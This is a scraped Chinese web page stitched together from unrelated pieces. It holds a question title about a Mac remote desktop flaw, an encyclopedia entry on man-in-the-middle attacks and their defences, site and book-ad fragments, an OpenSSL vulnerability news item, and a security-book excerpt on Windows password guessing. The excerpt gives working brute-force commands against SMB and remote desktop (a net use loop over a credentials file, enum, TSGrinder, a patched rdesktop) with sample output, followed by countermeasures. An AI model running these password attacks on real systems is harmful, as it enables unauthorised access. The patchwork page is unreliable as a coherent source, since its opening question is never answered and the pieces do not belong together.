mac远程桌面连接协议中间人攻击漏洞如何解决?有没有补丁安装?

中间人攻击 - 简介
中间人攻击 中间人攻击(Man-in-the-MiddleAttack,简称“”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台虚拟放置在连接中的两台通信计算机之间,这台计算机就称为“中间人”。然后入侵者把这台计算机模拟一台或两台原始计算机,使“中间人”能够与原始计算机建立活动连接并允许其读取或修改传递的信息,然而两个原始计算机用户却认为他们是在互相通信。通常,这种“数据——修改数据——发送数据”的过程就被称为“会话劫持”(SessionHijack)。
中间人攻击 - 攻击方式
黑客 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)中间人攻击很早就成为了常用的一种古老的攻击手段,并且一直到今天还具有极大的扩展空间。 在方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段。在黑客技术越来越多的运用于以获取为目标的情况下时,MITM攻击成为对网银、网游、等最有威胁并且最具破坏性的一种攻击方式。 1、信息篡改 当主机A、和机B通信时,都由主机C来为其“转发”,如图一,而A、B之间并没有真正意思上的直接通信,他们之间的信息传递同C作为来完成,但是A、B却不会意识到,而以为它们之间是在直接通信。这样攻击主机在中间成为了一个转发器,C可以不仅窃听A、B的通信还可以对信息进行篡改再传给对方,C便可以将恶意信息传递给A、B以达到自己的目的。 2、信息窃取 当A、B通信时,C不主动去为其“转发”,只是把他们的传输的数据,以获取用户网络的活动,包括账户、密码等敏感信息,这是被动攻击也是非常难被发现的。 实施中间人攻击时,攻击者常考虑的方式是ARP欺骗或DNS欺骗等,将会话双方的通讯流暗中改变,而这种改变对于会话双方来说是完全透明的。以常见的DNS欺骗为例,目标将其DNS请求发送到攻击者这里,然后攻击者伪造DNS响应,将正确的IP地址替换为其他IP,之后你就登陆了这个攻击者指定的IP,而攻击者早就在这个IP中安排好了一个伪造的网站如某银行网站,从而骗取用户输入他们想得到的信息,如银行账号及密码等,这可以看作一种网络钓鱼攻击的一种方式。对于个人用户来说,要防范应该注意不点击不明的连接、不去来历不明的网站、不要在小网站进行网上交易,最重要的一点是记清你站的域名,当然,你还可以把你常去的一些涉及到机密信息提交的网站的IP地址记下来,需要时直接输入IP地址登录。 要防范MITM攻击,可以将一些机密信息进行加密后再传输,这样即使被“中间人”截取也难以破解,另外,有一些认证方式可以检测到MITM攻击。比如设备或IP异常检测:如果用户以前从未使用某个或IP访问系统,则系统会采取措施。还有设备或IP检测:如果单一的设备或IP同时访问大量的用户帐号,系统也会采取措施。更有效防范MITM攻击的方法是进行带外认证,具体过程是:系统进行实时的自动电话回叫,将二次PIN码发送至SMS(短信网关),短信网关再转发给用户,用户收到后,再将二次PIN码发送到短信网关,以确认是否是真的用户。带外认证提供了多种不同的认证方式及认证,它的好处是:所有的认证过程都不会被MITM攻击者接触到。例如MITM是通过中间的假网站来截获敏感信息的,相关的“带外认证”就是指通过电话认证或短信认证等方式确认用户的真实性,而MITM攻击者却不能得到任何信息。当然,这种方式麻烦些。
中间人攻击 - DNS欺骗
中间人攻击示意图 DNS欺骗(DNSSpoofing),就是其中的一种惯用手法。攻击者通过入侵DNS、控制等方法把受害者要访问的目标机器域名对应的IP解析为攻击者所控制的机器,这样受害者原本要发送给目标机器的数据就发到了攻击者的机器上,这时攻击者就可以监听甚至修改数据,从而收集到大量的信息。如果攻击者只是想监听双方会话的,他会转发所有的数据到真正的目标机器上,让目标机器进行处理,再把处理结果发回到原来的受害者机器;如果攻击者要进行彻底的破坏,他会机器返回数据,这样受害者接收处理的就不再是原来期望的数据,而是攻击者所期望的了。例如让DNS服务器解析银行网站的IP为自己机器IP,同时在自己机器上伪造银行登录页面,那么受害者的真实账号和密码就暴露给入侵者了。 如此说来,这种攻击理应是最强大最危险的,然而实际上它却很少派上大用场,为什么,因为DNS欺骗的攻击模型太理想了。在实际生活中,大部分用户的DNS解析请求均是通过自己的ISP服务器进行的,换句话说,就是在连接网络时会获取到ISP服务器提供的DNS服务器地址,所有请求都是直接发往这个DNS服务器的,攻击者根本无处入手,除非他能入侵更改ISP服务器上DNS服务的解析指向。所以这种手法在上成功的几率不大。 当然,这种攻击的成功率也有例外存在,例如一个ISP服务器上存在,攻击者就能通过Bind漏洞进入服务器更改掉DNS解析指向,甚至取得最高权限;另一种方法是入侵路由设备,修改里面的DNS服务器地址为自己控制的机器地址,这种方法只能在用户自身是通过路由器返回域名解析的情况下才能成功,多见于一些使用小区连接Internet的用户,因为这种用户机器的DNS地址通常必须指向小区宽带内部的某台服务器地址或者交给路由进行转向,这时候只要攻击者入侵了路由或者那台关系到所有人的服务器修改掉DNS记录,整个小区用户的网络都完了。当然,攻击者不能把全世界网站都伪造到他硬盘上,他只需要改几个重要商务站点的指向即可,这样便可导致用户访问某些商务站点时被转向到攻击者的机器去。但是,这种攻击手法同时对攻击者自身也是一种伤害:如果小区内有许多用户都访问这些商务站点,则大量数据请求会疯狂消耗攻击者的机器资源,攻击者非但不能实时处理数据,更是面临着机器瘫痪和暴露自己的双重危险。
中间人攻击 - 会话劫持
会话劫持 客车沿着岔路行驶下去,怎料道路越来越颠簸,根本不像能开回高速公路的样子,满车的被晃醒了,不住的抱怨起来。心里也有点发慌,客车在荒山野岭停了下来。在众人不知所措的时候,车外有几个看似本地居民的人请求搭个便车外出,并表示自己懂得出去的道路。司机虽然半信半疑,可终究还是打开了车门。谁也没有察觉到那几个人的嘴边正浮现出一丝阴险的笑容…… “会话劫持”(SessionHijack)是一种结合了嗅探以及欺骗技术在内的攻击手段。广义上说,会话劫持就是在一次正常的通信过程中,攻击者作为第三方参与到其中,或者是在数据里加入其他信息,甚至将双方的通信模式暗中改变,即从直接联系变成有攻击者参与的。简单地说,就是攻击者把自己插入到受害者和目标机器之间,并设法让受害者和目标机器之间的数据通道变为受害者和目标机器之间存在一个看起来像“中转站”的机器(攻击者的机器)的数据通道,从而干涉两台机器之间的数据传输,例如监听敏感数据、替换数据等。由于攻击者已经介入其中,他能轻易知道双方传输的数据内容,还能根据自己的意愿去左右它。这个“中转站”可以是逻辑上的,也可以是物理上的,关键在于它能否获取到通信双方的数据。 典型的会话劫持是利用TCP/IP的工作来设计攻击的。在谈TCP/IP会话劫持前先解释一下TCP/IP用于确认数据的判断机制。许多人一定都有过这样的疑问:TCP/IP是使用点对点(PointtoPoint)连接进行数据传输的,但是它是如何知道上一条数据和下一条数据存在的联系的呢。如果发送数据后不慎掉线,恰好另一个人接着IP地址连接到了Internet,那他会不会收到服务器返回数据。其实只要看过的书籍就会明白,TCP协议采用了两种条件来确认每条已经建立连接的TCP通道,第一个是基础连接确认,即TCP连接中的四大必备条件:源IP、源TCP、目标IP、目标TCP端口;第二个条件是“序号标识”(Sequencenumbers,SEQ),它们是成对出现的,分为“Sequence”(SEQ,序号字段)和“AcknowledgementSequence”(ACKSEQ,确认序号字段),TCP每次建立一个连接时,会给双方指定这样一条规则:序号字段指出了本报文中传送的数据在发送所要传送的整个数据流中的顺序号,而确认序号字段指出了发送本报文的主机希望接收的对方主机中下一个八位组的顺序号。(这里可能比较难理解,可以举个不专业的例子解释:流水线上的工人被规定好了每人负责安装8个不同的零件,则每次传输到他们手上的都应该是只留下给他们安装的8个零件位置,这就是序号字段;而下一个工人则被规定在前一个工人的基础上安装另一个部分的8个,这就是确认序号字段,如果这个工人发现传到自己手上的产品多了或少了零件,则说明前一个工人出错,这个产品就被从流水线提取出来返工,这就是TCP对序号的严密审查和丢弃制度)。TCP如此谨慎,就是为了避免出现前面提到的假设,虽然这种假设发生的几率很小(需要满足TCP的基础连接确认条件),但是它总有机会发生的。然而不幸的是,这对序号是可以预测的,因为TCP必须遵从以下守则:一台主机即将发出的报文中的SEQ值应等于它所刚收到的报文中的ACKSEQ值,而它所要发送报文中的ACKSEQ值应为它所收到报文中的SEQ值加上该报文中所发送的TCP数据的长度,即两者存在“本次发送的SEQ=上次收到的ACKSEQ;本次发送的ACKSEQ=上次收到的SEQ+本次发送的TCP数据长度”的联系。知道这个后,攻击者就不难发起“中间人攻击”了,他只需要设法监听到受害者TCP连接中的第一个条件(源IP、源TCP端口、目标IP、目标TCP端口),就可以得知其中一台主机对将要收到的下一个TCP报文段中SEQ和ACKSEQ值的要求,这样攻击者就能在原来的合法主机收到另一台合法主机发送的TCP报文前根据所截获的信息向该主机发出一个符合条件二(序号标识)的TCP报文,如果该主机先收到攻击报文,就会受到欺骗而把合法的TCP会话建立在攻击主机与被攻击主机之间,而且攻击报文会让被攻击主机对下一次要收到的TCP报文中的确认序号值的要求发生变化,最终使另一台合法的主机向被攻击主机发出的报文被拒绝,这种模式被称为“主动劫持”。换句话说,就是其中一方合法主机被攻击者掠夺了连接的权限,而攻击者却成为了合法的连接方之一。这种会话劫持让攻击者避开了被攻击主机对访问者的身份验证和安全认证,从而使攻击者直接进入对被攻击主机的的访问状态,因而危害严重。例如,你刚向某站点发送完账户密码,就被攻击者抢先冒充你的TCP连接上了,那你的损失可就难预料了。不过,会话劫持对网络环境的一点要求可以让大家松口气,它必须在使用MAC寻址的网络中才能发挥作用,必要时还要配合ARP协议欺骗,能同时满足这两个条件的只有。而广域网不是靠MAC地址来查找计算机的,因此攻击者很难从现有的广域网结构里插入到某两台计算机之间。
中间人攻击 - 代理服务器
代理服务器 不再可靠的 网络上存在许多各种各样的代理服务器,其中的一些,是披着羊皮的狼……客车在一个“老乡”的指引下缓缓前进,司机这时候却感到有点不对劲,因为这条小路越来越泥泞。他还没来得及思考更多,就觉得车子颠簸了一下,再也动弹不得:车轮陷进水坑里了!满车旅客沸腾起来,那几个“老乡”很有自信的说:“我们下车去找人来推!”遂跳下车向后方走去,只留了两个人在车外“守”着。司机趁那两个人看着后方抽烟的时候偷偷拨打了110……过了一会儿,旅客们欢呼起来,因为他们看到一群“老乡”拿着锄头棍棒等东西走过来。但是只过了很短的时间,欢呼声变成了恐惧的叫声:那群人气势汹汹的,而且有些人手上还拿着砍刀!这些人不是什么“老乡”,而是一伙!司机明白自己从一开始就中了圈套,忙开足马力前进,可是无奈车轮只能在坑里空转…… 代理服务器(ProxyServer)的存在已经是很长久的事实了,而且由最初的几个基于的代理软件如HTTP、SMTP、POP3和FTP等发展到SSL、SOCK4/5以及其他未知的代理类型,可谓给一些特殊用途者提供了极大的方便。例如,通过代理跨过某些服务器的IP,从而到本来不能看到的信息;或者害怕自己IP暴露被对方入侵而寻找层层代理把自己包裹起来;还有些是因为系统不支持Internet共享而被迫采用代理软件来让内部网络的计算机能正常连接Internet……此外还有许多原因,让各种代理服务器经久不衰。 代理服务器相当于一个透明的数据通道,它根据客户发来的“要求连接某计算机”的请求数据,进而用自己本身作为原客户机器去连接目标计算机,在目标计算机返回数据后,再发送给原客户,这时目标计算机获取到的是代理服务器的IP,而不是原客户IP,从而实现突破或者让对方无法获取你的真实IP。 简单举个HTTP代理服务器工作的原理:IE发送一个包含目标URL的HTTP请求,代理服务器接收并析出HTTP报文里的目标URL和相关,然后把这个URL作为一次标准的HTTP连接过程与目标网站连接,获取目标网站返回的数据后缓冲到代理服务器的硬盘上,再把这些数据返回给客户端。 请求连接目标URL------&连接目标服务器-------&客户端-------------------------代理服务器------------------------目标服务器&-----返回数据----(缓冲)&-------------返回数据 其它协议的代理工作也都差不多,代理服务器充当了一个数据转向的,相当于一个专门负责数据转发的“勤劳工人”。 代理服务器的工作模式,正是典型的“中间人攻击”模型。代理服务器在其中充当了一个“中间人”的角色,通讯双方计算机的数据都要通过它。因此,“代理服务器进行的‘中间人攻击’”逐步成为现实,相对于其他“中间人攻击”方法,这种利用代理服务器的做法简直天衣无缝,攻击者可以自己写一个带有数据记录功能的代理服务程序,放到任意一台稳定的肉鸡甚至直接在自己机器上,然后通过一些社会手段让受害者使用这个做了手脚的“代理服务器”,便可了。这种方法最让人不设防,因为它利用的是人们对代理的无条件信任和贪便宜的想法,使得一个又一个“兔子”自动撞了上来,在享受这顿似乎美味的“胡萝卜”的同时却不知道安全正在逐渐远离自己。 如果制作这个代理服务器的攻击者仅限于数据,那么受害者的损失可能还能估量,但是如果攻击者在目标服务器返回的数据里加入一个带有的数据呢。例如在HTTP代理返回的HTML报文里加入一个MIME攻击漏洞代码,而受害者的计算机恰好没有打相应补丁,那么由此带来的损失就难以估量了,而且计算机技术不高的受害者也难以查出木马究竟是从哪里来的,因为很少有人怀疑代理服务器自身会有问题。
中间人攻击 - 防御
中间人攻击 攻防为一家,有攻就有防,只要措施正确,MITM攻击是可以预防的。 对于DNS欺骗,要记得检查本机的HOSTS文件,以免被攻击者加了恶意站点进去;其次要确认自己使用的DNS服务器是ISP提供的,因为目前ISP服务器的安全工作还是做得比较好的,一般水平的攻击者无法成功进入;如果是依靠设备自带的DNS来连接Internet的,就要拜托管理员定期检查网关设备是否遭受入侵。 至于局域网内各种各样的会话劫持(局域网内的代理除外),因为它们都要结合以及技术在内的攻击手段,必须依靠ARP和MAC做基础,所以网管应该使用交换式网络(通过交换机传输)代替共享式网络(通过),这可以降低被窃听的机率,当然这样并不能根除会话劫持,还必须使用静态ARP、捆绑MAC+IP等方法来限制欺骗,以及采用认证方式的连接等。 但是对于“代理中间人攻击”而言,以上方法就难以见效了,因为代理服务器本来就是一个“中间人”角色,攻击者不需要进行任何欺骗就能让受害者自己连接上来,而且代理也不涉及MAC等因素,所以一般的防范措施都不起作用。除非你是要干坏事,或者IP被屏蔽,或者天生对网络有着恐惧,否则还是不要整天找一堆代理来隐藏自己了,没必要的。常在河边走,即使遇上做了手脚的代理也难察觉。
中间人攻击 - 相关词条
中间人攻击 - 参考资料
http://www./archives/260.html
万方数据期刊论文
- 电子科技大学学报 -
万方数据期刊论文
- 计算机工程 -
万方数据期刊论文
- 重庆大学学报(自然科学版) -
为本词条添加和相关影像
互动百科的词条(含所附图片)系由网友上传,如果涉嫌侵权,请与客服联系,我们将按照法律之相关规定及时进行处理。未经许可,禁止商业网站等复制、抓取本站内容;合理使用者,请注明来源于。
登录后使用互动百科的服务,将会得到个性化的提示和帮助,还有机会和770多万专业认证智愿者沟通。
您也可以使用以下网站账号登录:
此词条还可添加&
编辑次数:
参与编辑人数:
最近更新时间: 00:43:00
贡献光荣榜
扫描二维码用手机浏览词条
保存二维码可印刷到宣传品
扫描二维码用手机浏览词条
保存二维码可印刷到宣传品作者:Christopher Negus
Francois Caen
本书出自多本Linux畅销书作者Negus之手,他以多年实践经验为基础,且从大多数系统管理员的日常工作需求出发,分门别类、细致入..当前位置 & &
& 微软这个月的补丁好多好多啊
微软这个月的补丁好多好多啊
15:06:46&&作者:
编辑:上方文Q &&)
让小伙伴们也看看:
文章观点支持
当前平均分:0(0 次打分)
[11-12][11-12][11-11][11-11][11-11][11-11][11-11][11-10][11-10][11-09]
登录驱动之家
没有帐号?
用合作网站帐户直接登录附近人在搜什么
OpenSSL新漏洞曝光:可被用于“中间人”攻击
  北京时间6月6日早间消息,本周四,OpenSSL基金会发布警告称,一个已存在10年的漏洞可能导致黑客利用通过OpenSSL加密的流量发动“中间人”攻击。  信息安全专家目前仍试图解决OpenSSL加密协议中的“心脏流血”漏洞。根据AVG Virus Labs的数据,目前仍有1.2万个热门域名存在这一漏洞。而根据OpenSSL基金会此次发布的消息,黑客可能利用新漏洞去拦截加密流量,对其进行解密,随后阅读流量中的内容。  OpenSSL的用户被建议安装新的补丁,并升级至OpenSSL软件的最新版本。这一漏洞的发现者是软件公司Lepidum的日本研究员Masashi Kikuchi。Lepidum的网站上显示:“当服务器和客户端都存在漏洞时,攻击者可以窃听及伪造你的通信。”  与能够导致服务器直接受到攻击的“心脏流血”漏洞不同,这一新漏洞要求黑客位于两台通信的计算机之间。例如,使用机场公开WiFi的用户可能成为被攻击目标。  这一漏洞自1998年OpenSSL首次发布以来就一直存在。而“心脏流血”漏洞是在2011年新年OpenSSL进行升级时引入的。  这一漏洞在长达十几年的时间内一直没有被发现,这再次表明了OpenSSL管理的缺陷。OpenSSL是开源的,这意味着任何人都可以对其进行评估及更新。由于这一原因,OpenSSL被认为比某家公司开发的私有代码更安全、更可信。  但实际上,OpenSSL在欧洲只有1名全职开发者,以及3名“核心”的志愿程序员,其运营依靠每年2000美元的捐赠。不过,OpenSSL仍被用于加密全球大部分网站的服务器,并被亚马逊和思科等大公司广泛使用。  在“心脏流血”漏洞被发现之后,包括亚马逊、思科、戴尔、Facebook、富士通、谷歌、IBM、英特尔、微软、NetApp、Rackspace、高通和VMware在内的公司都承诺在未来3年内每年投入10万美元,用于Core Infrastructure Initiative项目。这一新的开源项目由Linux基金会牵头,用于支撑OpenSSL等关键的开源基础设施。
IT屌丝男和他的奇葩同事认证欺骗攻击
本文所属图书&>&
本书是在前6版的基础上(前期产品累计销售超20万册)对内容进行全面更新和扩充,相信本书(第7版)一定能够延续前几版的良好销售趋势。黑客大曝光》是全球销量第一的网络和计算机信息安全图书,也是有史以来写得最&&
虽然不像缓冲区溢出漏洞那样引人关注,但是猜测或篡改身份认证证书依然是获取Windows系统未经授权访问的最轻松途径之一。
远程口令猜测
风险评级:
远程攻击Windows系统的传统方法是攻击Windows的文件和打印共享服务,这项服务运行在SMB(Server Message Block,服务器消息块)协议上。SMB通信使用了两个TCP端口:其一是TCP 端口139,这是传统的NetBIOS会话服务的监听端口;其二是TCP 端口445。其他服务一般通过口令猜测来攻击,包括使用TCP 端口135的Microsoft远程过程调用(Microsoft Remote Procedure Call,MSRPC),使用TCP 端口3389(也可以很容易配置在其他的端口上来监听)的终端服务(Terminal Service,TS),使用TCP 端口1433和UDP 端口1434的SQL,以及基于Web的使用Windows认证的产品(如Sharepoint over HTTP and HTTPS)。其中HTTP和HTTPS使用TCP 端口80和443,也可能是其他定制的端口。在这一章节,我们将逐个详细讨论攻击上述各个服务的工具和技术。
在Windows Vista 、Windows 7(只要安装时在Network Location设置中选择默认Public Network选项,细节请参阅 /en-US/windows7/Choosing-a-
network-location)和Windows Server 2008的默认配置下,从远程不能访问SMB,因为Windows防火墙的默认配置阻止了这种访问。例外情况是Windows Server域控制器,它被自动重新配置向网络开放SMB服务。如果系统开放了SMB服务,入侵系统最有效的方法是古老但有效的远程共享加载:试着连接一个在查点阶段发现的共享卷(比如IPC$或C$共享卷),尝试各种用户名/口令组合,直到试出一个能进入目标系统的组合为止。第2章和第3章讨论的手工口令猜测方法也比较有效率,可以采用Windows图形界面(工具 | 映射网络驱动器),也可以通过命令行&net use&命令来进行。如果我们在应该给出口令的地方放上一个星号(*),远程系统将提示我们输入,如下所示:
C:\& net use \\192.168.202.44\IPC$ * /u:Administrator
Type the password for \\192.168.202.44\IPC$:
The command completed successfully.
如果只用账户名去登录目标系统时不成功,不妨试试&DOMAIN\account&语法。要发现可用的Windows域,可以采用第3章描述的工具和技术。
很容易用命令行脚本来猜测口令。比如说,在Windows的命令行窗口里用FOR命令和标准的net use语法编写一个简单的循环,就可以循环进行口令猜测。具体做法是,创建一个含有用户名和口令组合的简单文件(可参考http://www.virus.org/default-password/),这样的文件内容大致如下所示:
[file: credentials.txt]
password &&&&&&&&&& username
&&&& &&&&&&&&&&&&&& Administrator
password &&&&&&&&&& Administrator
admin &&&&&&&&&&&&& Administrator
administrator &&&&& Administrator
secret &&&&&&&&&&&& Administrator
etc. . . .
请注意,任何分隔符都可以用来分隔各个数值;我们这里使用的是制表符。还要注意的是,空白口令应该用两个连续的引号(&&)来表示(见上面示例中的左栏)。
接下来,把这个文件馈入FOR命令,如下所示:
C:\& FOR /F &tokens=1,2*& %i in (credentials.txt) do net use
&&&&&&& \\ target\IPC$ %i /u:%j
上面这条命令将对credentials.txt文件进行解析:先把每一行的头两个字串提取出来;然后把第一个字串赋值给变量%i(口令),第二个字串赋值给%j(用户名)。net use命令将使用这两个变量作为参数去尝试连接目标服务器的IPC$共享卷。在命令行提示符处键入&FOR/?&可以查看到FOR命令的帮助信息&&For是Windows最有用的命令之一。
当然,许多专用的软件程序也可以进行自动化口令猜测。还有一些更流行的免费工具,包括enum(http://packetstorm security.org/files/31882/enum.tar.gz)、Brutus(http://www.hoobie.
net/vrutus)、THC Hydra(http://thc.org/thc-hydra)、Medusa(http://foofus.net/?page-id=51)和Venom(http://www.cqure.net/up/lenom)。除了通过SMB,Venom还通过WMI(Windows Management Instrumentation,Windows设备管理器)实施攻击,特别是目标系统上的的服务器服务禁用时,Venom依然可用来实施攻击。下面给出一个简单的例子,用enum破解名为mirage的服务器的口令。
C:\&enum -D -u administrator -f Dictionary.txt mirage
username: administrator
dictfile: Dictionary.txt
server: mirage
(1) administrator |
return 1326, Logon failure: unknown user name or bad password.
(2) administrator | password
(10) administrator | nobody
return 1326, Logon failure: unknown user name or bad password.
(11) administrator | space
return 1326, Logon failure: unknown user name or bad password.
(12) administrator | opensesame
password found: opensesame
成功猜到口令后,你会发现enum被授权访问目标机器上共享的IPS$。Enum用于SMB破解确实很慢,但它比较精确(通常比其他工具产生的漏报少)。
猜测终端服务/远程桌面服务口令要复杂得多,因为实际的口令输入是通过图形化的接口进行的。TSGrinder能够自动化终端服务器/远程桌面服务的远程口令猜测过程,这个口令猜测工具可以从/download.aspx处获得。以下是一个TSGrinder从Windows Server 2003系统成功获取口令的例子(图形登录窗口和这个命令行同时出现):
C:\&tsgrinder 192.168.230.244
password hansel - failed
password gretel - failed
password witch - failed
password gingerbread - failed
password snow - failed
password white - failed
password apple - failed
password guessme - success!
默认情况下,TSGinder 用来搜索管理员的口令,但要猜测其他用户名的口令就要用-u开关来指明。
TSGrinder 已经使用一段时间了,它是针对Windows旧版系统(例如XP和2003系统)而设计的,要使其在更新版的Windows系统下工作的话,必须做一些额外的调整。因为它与新版本的远程桌面连接不兼容,需要用更旧的版本,请查阅/archive/101//0/threaded。当TSGrinder用在Windows Vista或Windows 7系统中时,把注册键值HKEY_CURRENT_USER\Software\Microsoft\ Windows\Windows Error Reporting\Dont Show UI设置为1(防止在试用每个口令后系统崩溃的变通解决办法),然后使用如下的定制脚本来尝试credentials.txt文件中的每一个口令,而不是让TSGrinder自己来执行。
C:\&FOR /F %i in (credentials.txt) do echo %i&a&tsgrinder -w a
-u Administrator -n 1 192.168.230.244&&out
TSGrinder被设计为用于旧版本的Windows,例如XP和2003,但是只要使用经典登录屏幕(详见/en-us/magazine/ff394947.aspx),并把同时存在的线程数限制为1(&n 1),还是可能将TSGrinder用于破解Windows 7 和 Windows 2008 Server的用户口令的。
暴力破解终端服务/远程桌面服务口令的另一个工具是Rdesktop(这个工具是Windows远程桌面服务的一个开源客户端,可以运行在大多数UNIX平台上,当然包括Linux),Rdesktop附带一个补丁,该补丁可以增加暴力破解口令的能力。从基本上来说,需要先下载Rdesktop v1.5(http://prdownloads.sourceforge.net/rdesktop/rdesktop-1.5.0.tar. gz),再使用命令patch&p1 &i rdp-brute-force-r805.diff应用foofus的补丁(www.foofus.net/~jmk/tools/rdp-brute-force-r805.diff),然后重新编译。以下这个例子展示了如何使用加载补丁的Rdesktop来启动一个暴力破解口令的会话:
$./rdesktop &u Administrator &p credentials.txt 192.168.230.244
打好补丁的Rdesktop客户端在旧版的Windows系统(例如Windows Server 2003)中表现极佳。但是,在Windows 7或者Windows Server 2008系统上的表现依旧磕磕绊绊。
要猜测其他服务的口令,例如SharePoint,我们推荐THC的Hydra或Brutus,因为它们和多种协议兼容,如HTTP和HTTPS。要猜测SQL Server口令,可以使用sqlbf,sqlbf可以从因特网上众多的网站下载。
&针对口令猜测的防范对策
有好几种防御措施可以用来消除(至少可以阻止)那些口令猜测攻击。这些防范对策包括:
&&&&&&&& 使用网络防火墙来限制访问可能存在漏洞的服务(例如在TCP 端口139和445上的SMB服务,TCP 端口135上的MSRPC服务,TCP 端口3389上的TS服务)。
&&&&&&&& 使用Windows的主机级防火墙(Windows XP和更高版本)来限制对这些服务的访问。
&&&&&&&& 禁用不必要的服务(尤其是TCP端口139和445上的SMB服务)。
&&&&&&&& 制定和实施强口令策略。
&&&&&&&& 设置账户锁定阈值,并确保该阈值应用于内建的管理员账户。
&&&&&&&& 将账户登录失败事件记入日志,并定期查看事件日志文件。
坦白地讲,只要有可能,我们提倡同时采取以上所有防范措施以建立起一个纵深防御体系。下面我们来扼要地讨论每一种措施。
使用网络防火墙来限制对有漏洞服务的访问
如果Windows系统不需要对Windows共享卷的访问请求和远程终端的访问请求做出响应的话,就实施这项措施。一定要在网络边界防火墙或路由器上阻断对不必要TCP和UDP端口的访问(特别是TCP 端口139和445)。对于SMB服务来说,这条规则永远不应该有例外出现,因为让SMB服务暴露在防火墙外会招致太多攻击,引来极大的安全风险。
使用Windows防火墙来限制对有漏洞服务的访问
因特网连接防火墙(Internet Connection Firewall,ICF)始见于Windows XP,在后续Windows版本中更名为Windows 防火墙(Firewall)。正如它的名字那样,Windows 防火墙是微软公司为Windows开发的一种主机级防火墙。早期的版本有局限性,但大多数问题都在Vista中解决了,没有什么借口不启用这个防火墙。别忘了防火墙只是一个工具,防火墙的规则定义了保护的级别,实施时需要充分了解允许使用什么应用和限制什么应用。
禁用不必要的服务
最大程度地减少网络服务是使系统坚固的最重要步骤之一。尤其是禁用NetBIOS和SMB对减少我们先前讲述的攻击非常重要。
禁用NetBIOS和SMB对老版本的Windows来说是一个噩梦。在Windows Vista、Windows7和Windows2008 Server上,网络协议可以被禁用或在网络连接文件夹中删除(在上查找&启用或禁用网络协议或组件&或&删除网络协议或组件&)。也可以用网络和共享中心来控制网络发现和资源共享(在Technet上搜索&启用或禁用共享和发现&)。群组策略也可以横跨Windows&森林&和域的环境来为特定的用户和群组禁用发现和共享功能。在安装有群组策略管理控制台(Group Policy Management Console, GPMC)的Windows 系统上,点击Windows的&开始&,然后在&开始&查找框里输入gpmc.msc,就可以启动群组策略管理控制台。在出现的导航框内打开下列文件夹:本地计算机策略,用户配置,管理模板,Windows组件和网络共享。从&详细&面板中选择想要执行的策略,打开并点击&启用&或&禁用&,然后点击OK。
GPMC首先应该安装在兼容的Windows版本中,请参见/b/ackds/archive//installing-gpmc-on-windows-server-2008-and-window-vista-service-pack-1.aspx。
制定和实施强口令策略
一直以来,微软提供了一系列方法来要求用户自动使用强口令。在Windows 2000及以上版本中,这些策略设置集中到 &Security Policy | Account Policies | Password Policy&(安全策略 | 账户策略 | 口令策略)下的账号策略(Account Policy)特性下(安全策略可以在&Control Panel | Administrative Tools&(控制面板 | 管理工具)下找到或直接运行secpol.msc)。使用这种特性,某些账号口令策略会被强制执行,诸如口令的最小长度和口令的复杂度等。在登录失败累计一定次数后会锁住账户。账号策略特性允许系统管理员强行切断用户与服务器的连接,如果这位用户登录超时了,这一便利设置可以把深夜的网络窃贼拒之门外。图4-1所示是Windows 账户策略设置页面。
图4-1& 在&本地安全策略&中设置强口令策略
设定账户锁定阈值
要减轻SMB口令猜测攻击的危害,最重要的步骤可能就是设置账户锁定阈值。一旦用户登录失败的次数达到了这个阈值,他/她的账户将被锁定,并将一直持续到系统管理员来解除这种锁定或是等到系统管理员设定的账户锁定期到期。在Windows 2000或更高版本的系统上,可以通过&Security Policy | Account Policies | Account Lockout Policy&(安全策略 | 账户策略 | 账户锁定策略)来设置锁定阈值。
微软的老工具Passprop可以手工给本地管理员账号运用锁定策略,这个工具在Windows 2000 SP2或者以后版本中不再起作用了。
实现自定义TS登录标语
为了阻止简单终端服务口令破解攻击,可以为Windows登录设置自定义的法律声明。可以通过添加或编辑以下注册值来实现:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
LegalNoticeCaption
[自定义标题]
LegalNoticeText
[自定义信息]
用户按下CTRL+ALT+DEL后,在登录对话框弹出之前,Windows会显示上述值提供的自定义标题和信息,如果通过终端服务登录系统,也会显示这些自定义的标题和信息。TSGrinder通过使用-b选项依然可以在猜测口令之前获取到所有登录标语,因而很容易地绕过了这种防范措施。这项措施即便不能对口令猜测攻击起到任何作用,但是定制登录标语是公认的好习惯,并且它可以为法律诉讼提供潜在的依据,所以一般我们总是推荐使用它。
改变默认的TS端口
另一种缓解TS口令猜测的方法是阻塞默认的终端服务器监听端口。当然,这并不能对服务起到任何加固作用,但它可以避开一些攻击者,这些攻击者太急于求成,除了探测默认端口不再尝试其他端口。可以通过修改下列注册表项来改变TS的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\
TerminalServer\WinStations\RDP-Tcp
找到PortNumber的子键,注意00000D3D的值,即3389的十六进制数值。修改这个十六进制的端口值并保存。当然,现在必须配置TS客户端,使之连接到服务器的新端口上。具体做法是,在TS客户端计算机图形框中的服务器名称后加上&:[端口号]&,或者编辑客户端连接文件(*.rdp),增加一行&Server Port=[端口号]&。
审核与日志
在采用了复杂口令和账户锁定策略之后,即便是已经没人可以通过猜测口令侵入你们的系统,但通过&Security Policy | Local Policies | Audit Policy&(安全策略 | 本地策略 | 审核策略)把登录失败事件记入日志仍是明智的做法。图4-2是Windows Server 2008系统上的&Security Policy&(安全策略)工具中的建议配置方法。这种配置会生成大量信息类的日志,虽说相对来讲对系统整体性能影响不大,但我们还是要提醒大家一定要先进行测试再把它们部署到实际工作环境里去。
图4-2& 配置安全服务器的推荐审核设置,
通过Windows Server 2008的Local Security Policy窗口进行配置
当然,仅仅启用审核功能是不够的,还必须定期检查日志看看有没有入侵者留下的证据。例如,如果在安全日志里看到了大量的&529/4625&(登录/注销失败)或&539&(账户锁定)事件,就表明有人在发动自动化的口令猜测攻击(另外,也可能是一个服务账号的口令到期了)。在多数情况下,日志甚至可以标识出入侵者的系统。以手动方式在事件日志里筛选有关事件非常枯燥乏味,但令人欣慰的是,Event Viewer(事件查看器)可以根据事件的日期、类型、来源、类别、用户、计算机以及事件ID对它们进行筛选。
